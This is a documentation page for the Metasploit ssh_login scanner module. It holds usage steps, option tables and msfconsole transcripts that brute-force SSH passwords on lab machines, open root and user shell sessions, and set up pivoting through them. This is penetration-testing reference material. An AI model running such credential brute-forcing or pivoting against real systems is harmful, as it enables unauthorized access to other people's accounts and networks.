SSH Login Check Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ssh/ssh_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: SSH Login Check Scanner
Module: auxiliary/scanner/ssh/ssh_login
Source code: modules/auxiliary/scanner/ssh/ssh_login.rb
Disclosure date: -
Last modification time: 2021-10-22 17:24:26 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-1999-0502

This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
    ... show and set options ...
msf auxiliary(ssh_login) > set RHOSTS ip-range
msf auxiliary(ssh_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ssh_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. This module attempts to login to SSH with username and password combinations. For public/private SSH keys, please use auxiliary/scanner/ssh/ssh_login_pubkey. It should be noted that some modern Operating Systems have default configurations to not allow the root user to remotely login via SSH, or to only allow root to login with an SSH key login.

Verification Steps

  1. Install SSH and start it.
  2. Start msfconsole
  3. Do: use auxiliary/scanner/ssh/ssh_login
  4. Do: set rhosts
  5. Do: set usernames and passwords via any of the available options
  6. Do: run
  7. You will hopefully see something similar to, followed by a session:
[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

Session Capabilities

Like Meterpreter sessions, this newly established session can be used to pivot connections as defined by Metasploit's routing table. To forward all new TCP connections through the session run route add 0.0.0.0 0.0.0.0 -1. This leverages the TCP forwarding capabilities of the remote SSH server. UDP forwarding is not supported by SSH servers, so any UDP traffic will fail.

TCP forwarding requires the AllowTcpForwarding option to be enabled in the server's configuration file, which is often the default. If the option is disabled or the more specific PermitOpen option does not allow the connection to be made, the connection will fail with the administratively prohibited error.

Options

BLANK_PASSWORD

Boolean value on if an additional login attempt should be attempted with an empty password for every user.

PASSWORD

Password to try for each user.

PASS_FILE

A file containing a password on every line. Kali linux example: /usr/share/wordlists/metasploit/password.lst

STOP_ON_SUCCESS

If a valid login is found on a host, immediately stop attempting additional logins on that host.

USERNAME

Username to try for each password.

USERPASS_FILE

A file containing a username and password, separated by a space, on every line. An example line would be username password.

USER_AS_PASS

Boolean value on if an additional login attempt should be attempted with the password as the username.

USER_FILE

A file containing a username on every line.

VERBOSE

Show a failed login attempt. This can get rather verbose when large USER_FILEs or PASS_FILEs are used. A failed attempt will look similar to the following:

[-] SSH - Failed: 'msfadmin:virtual'

Option Combinations

It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password could be set in PASSWORD, be part of either PASS_FILE or USERPASS_FILE, be guessed via USER_AS_PASS or BLANK_PASSWORDS. This module makes a combination of all of the above when attempting logins. So if a password is set in PASSWORD, and a PASS_FILE is listed, passwords will be generated from BOTH of these.

Scenarios

Example run against:

  • Ubuntu 14.04 Server with root login permitted: 192.168.2.156
  • Ubuntu 16.04 Server: 192.168.2.137
  • Metasploitable: 192.168.2.46
  • Metasploitable 2: 192.168.2.35
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > cat /root/ssh_passwords.lst
[*] exec: cat /root/ssh_passwords.lst

msfadmin
badpassword
root
ubuntu

msf auxiliary(ssh_login) > set pass_file /root/ssh_passwords.lst
pass_file => /root/ssh_passwords.lst
msf auxiliary(ssh_login) > cat /root/ssh_un.lst
[*] exec: cat /root/ssh_un.lst

msfadmin
badpassword
root
ubuntu

msf auxiliary(ssh_login) > set user_file /root/ssh_un.lst
user_file => /root/ssh_un.lst
msf auxiliary(ssh_login) > cat /root/ssh_hosts.lst
[*] exec: cat /root/ssh_hosts.lst

192.168.2.156
192.168.2.137
192.168.2.35
192.168.2.46
msf auxiliary(ssh_login) > set rhosts file:/root/ssh_hosts.lst
rhosts => file:/root/ssh_hosts.lst
msf auxiliary(ssh_login) > set verbose false
verbose => false
msf auxiliary(ssh_login) > set threads 4
threads => 4
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[*] SSH - Starting bruteforce
[*] SSH - Starting bruteforce
[*] SSH - Starting bruteforce
[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 5 opened (192.168.2.117:44415 -> 192.168.2.46:22) at 2017-02-22 20:26:13 -0500
[*] Command shell session 6 opened (192.168.2.117:36107 -> 192.168.2.35:22) at 2017-02-22 20:26:13 -0500
[+] SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 7 opened (192.168.2.117:32829 -> 192.168.2.156:22) at 2017-02-22 20:26:35 -0500
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 8 opened (192.168.2.117:42205 -> 192.168.2.156:22) at 2017-02-22 20:26:42 -0500
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 9 opened (192.168.2.117:37027 -> 192.168.2.137:22) at 2017-02-22 20:26:44 -0500
[*] Scanned 3 of 4 hosts (75% complete)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions -l

Active sessions
===============

  Id  Type          Information                              Connection
  --  ----          -----------                              ----------
  5   shell /linux  SSH msfadmin:msfadmin (192.168.2.46:22)  192.168.2.117:44415 -> 192.168.2.46:22 (192.168.2.46)
  6   shell /linux  SSH msfadmin:msfadmin (192.168.2.35:22)  192.168.2.117:36107 -> 192.168.2.35:22 (192.168.2.35)
  7   shell /linux  SSH root:ubuntu (192.168.2.156:22)       192.168.2.117:32829 -> 192.168.2.156:22 (192.168.2.156)
  8   shell /linux  SSH ubuntu:ubuntu (192.168.2.156:22)     192.168.2.117:42205 -> 192.168.2.156:22 (192.168.2.156)
  9   shell /linux  SSH ubuntu:ubuntu (192.168.2.137:22)     192.168.2.117:37027 -> 192.168.2.137:22 (192.168.2.137)

Example run against:

  • Windows 10 w/ Linux Subsystem
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.2.140
rhosts => 192.168.2.140
msf auxiliary(ssh_login) > set username winuser
username => winuser
msf auxiliary(ssh_login) > set password "badpassword"
password => badpassword
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[+] SSH - Success: 'winuser:badpassword' ''
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42227 -> 192.168.2.140:22) at 2017-02-22 20:40:12 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions -l

Active sessions
===============

  Id  Type     Information                               Connection
  --  ----     -----------                               ----------
  1   shell /  SSH winuser:badpassword (192.168.2.140:22)  192.168.2.117:42227 -> 192.168.2.140:22 (192.168.2.140)

Example run against:

  • Windows 10 w/ Bitvise SSH Server (WinSSHD) version 7.26-r2 and a virtual account created

It is important to note here that the module gives back a Success, but then errors when trying to identify the remote system. This should be enough info to manually exploit via a regular SSH command.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.2.140
rhosts => 192.168.2.140
msf auxiliary(ssh_login) > set username virtual
username => virtual
msf auxiliary(ssh_login) > set password virtual
password => virtual
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[+] SSH - Success: 'virtual:virtual' 'id: Command not found.  help ?: Command not found.  '
[!] No active DB -- Credential data will not be saved!
[*] 192.168.2.140 - Command shell session 4 closed.  Reason: Died from EOFError
[*] Command shell session 4 opened (192.168.2.117:36169 -> 192.168.2.140:22) at 2017-02-22 21:20:24 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the scanner/ssh/ssh_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ssh/ssh_login

msf6 auxiliary(scanner/ssh/ssh_login) > show info

       Name: SSH Login Check Scanner
     Module: auxiliary/scanner/ssh/ssh_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  todb <[email protected]>

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD                           no        A specific password to authenticate with
  PASS_FILE                          no        File containing passwords, one per line
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             22               yes       The target port
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERNAME                           no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           false            yes       Whether to print output for all attempts

Description:
  This module will test ssh logins on a range of machines and report 
  successful logins. If you have loaded a database plugin and 
  connected to a database this module will record successful logins 
  and hosts so you can track your access.

References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0502

Module Options

This is a complete list of options available in the scanner/ssh/ssh_login auxiliary module:

msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts

Advanced Options

Here is a complete list of advanced options supported by the scanner/ssh/ssh_login auxiliary module:

msf6 auxiliary(scanner/ssh/ssh_login) > show advanced

Module advanced options (auxiliary/scanner/ssh/ssh_login):

   Name                        Current Setting                          Required  Description
   ----                        ---------------                          --------  -----------
   AutoRunScript                                                        no        A script to run automatically on session creation.
   AutoVerifySession           true                                     yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                                           no        A command to run before the session is closed
   CreateSession               true                                     no        Create a new session for every successful login
   GatherProof                 true                                     yes       Gather proof of access via pre-session shell commands
   InitialAutoRunScript                                                 no        An initial script to run on session creation (before AutoRunScript)
   MaxGuessesPerService        0                                        no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser           0                                        no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is d
                                                                                  ifferent from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
   MaxMinutesPerService        0                                        no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   Proxies                                                              no        A proxy chain of format type:host:port[,type:host:port][...]
   REMOVE_PASS_FILE            false                                    yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE        false                                    yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE            false                                    yes       Automatically delete the USER_FILE on module completion
   SSH_DEBUG                   false                                    no        Enable SSH debugging output (Extreme verbosity!)
   SSH_IDENT                   SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT                 30                                       no        Specify the maximum time to negotiate a SSH session
   ShowProgress                true                                     yes       Display progress messages during a scan
   ShowProgressPercent         10                                       yes       The interval in percent that progress should be shown
   TRANSITION_DELAY            0                                        no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   WORKSPACE                                                            no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/ssh/ssh_login module can do:

msf6 auxiliary(scanner/ssh/ssh_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/ssh/ssh_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ssh/ssh_login) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

DefaultOptions

Here is a relevant code snippet related to the "DefaultOptions" error message:

28:	      'References'     =>
29:	        [
30:	          [ 'CVE', '1999-0502'] # Weak password
31:	        ],
32:	      'License'        => MSF_LICENSE,
33:	      'DefaultOptions' => {'VERBOSE' => false} # Disable annoying connect errors
34:	    )
35:	
36:	    register_options(
37:	      [
38:	        Opt::RPORT(22)

Could not connect: <RESULT.PROOF>

Here is a relevant code snippet related to the "Could not connect: <RESULT.PROOF>" error message:

134:	          msg << " device details so it can be handled in the future."
135:	          print_brute :level => :error, :ip => ip, :msg => msg
136:	        end
137:	        :next_user
138:	      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
139:	        vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}"
140:	        scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
141:	        invalidate_login(credential_data)
142:	        :abort
143:	      when Metasploit::Model::Login::Status::INCORRECT
144:	        vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"

Failed: '<RESULT.CREDENTIAL>'

Here is a relevant code snippet related to the "Failed: '<RESULT.CREDENTIAL>'" error message:

139:	        vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}"
140:	        scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
141:	        invalidate_login(credential_data)
142:	        :abort
143:	      when Metasploit::Model::Login::Status::INCORRECT
144:	        vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
145:	        invalidate_login(credential_data)
146:	        scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
147:	      else
148:	        invalidate_login(credential_data)
149:	        scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • todb

Version

This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

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